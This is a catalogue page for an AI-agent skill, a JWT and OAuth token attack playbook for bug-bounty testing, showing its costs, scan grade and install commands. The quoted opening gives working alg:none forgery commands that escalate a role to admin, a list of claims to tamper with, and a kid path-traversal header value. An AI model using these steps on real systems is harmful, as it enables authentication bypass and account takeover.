jwt-oauth-token-attacks

jwt-oauth-token-attacks is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 39 tokens per session (2,518 once invoked), scanned A, a copy of jwt-oauth-token-attacks, MIT.

A security testing playbook for JWT and OAuth tokens. OAuth is a standard that lets an application grant access to another service without sharing a password; the playbook covers token signing, claims, key handling, and common OAuth flow mistakes.

In plain words
What is it for?
Assessing JWT bearer tokens, OAuth login flows, token storage and leakage, signing algorithms, and permission claims.
Why use it?
It helps uncover authentication and account-linking errors that may expose tokens, bypass checks, or connect an attacker to another user's account.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is {"alg":"HS256","kid":"../../../../dev/null"}.

Good fit Assessing JWT bearer tokens, OAuth login flows, token storage and leakage, signing algorithms, and permission claims.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/jwt-oauth-token-attacks

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt-oauth-token-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-oauth-token-attacks.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-oauth-token-attacks)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-oauth-token-attacks"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-oauth-token-attacks.svg" alt="Measured on agentmods" height="20"></a>
Per session 39 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,518 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00039 $0.02518
Opus 5 $0.00019 $0.01259
Sonnet 5 $0.00008 $0.00504
Haiku 4.5 $0.00004 $0.00252

Measured 4d ago against content hash 2a420f0f789b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

jwt-oauth-token-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to jwt-oauth-token-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/curated/jwt-oauth-token-attacks/SKILL.md · 302 lines

How it starts

The opening of the file, as written. The whole thing — 302 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.

Use this file for token-centric attacks and flow abuse. Also load:


1. JWT ANATOMY

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

Decode in terminal:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

Common claim targets (modify to escalate):

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "[email protected]",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

2. ATTACK 1 — ALGORITHM NONE (alg:none)

Server doesn't validate signature when algorithm is "none"/"None"/"NONE":

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD

Read the full file on GitHub · 302 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 302 lines · 39 tokens per session scan A 2a420f0f789b

Subscribe to this mod's changes

jwt-oauth-token-attacks is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 39 tokens to every session and 2,518 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to jwt-oauth-token-attacks, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

bugcrowd-reporting

Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints…

elementalsouls/Claude-BugHunter · 171 tokens

skill-context-detection

Auto-detect work context (Dev vs Knowledge) — use to tailor workflows based on current task type.

nyldn/claude-octopus · 25 tokens

skill-copilot-provider

GitHub Copilot CLI as optional zero-cost provider via copilot -p programmatic mode.

nyldn/claude-octopus · 24 tokens

supabase

Supabase / PostgREST Row-Level-Security playbook — pull the anon (or leaked servicerole) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII/secret leaks), and anonymous RLS WRITE abuse (insert/update/delete — e.g. forging…

PentesterFlow/agent · 120 tokens

skill-security-framing

URL validation and content sanitization for untrusted sources — use when handling external input safely.

nyldn/claude-octopus · 22 tokens

race

Race condition / TOCTOU playbook — limit overrun (one-time codes used twice, gift cards spent twice), single-packet attack (last-byte sync) to force parallel processing, and state-confusion races (file upload + read, order before payment). Use when timing-sensitive logic could be abused — one-time codes, coupons/gift…

PentesterFlow/agent · 82 tokens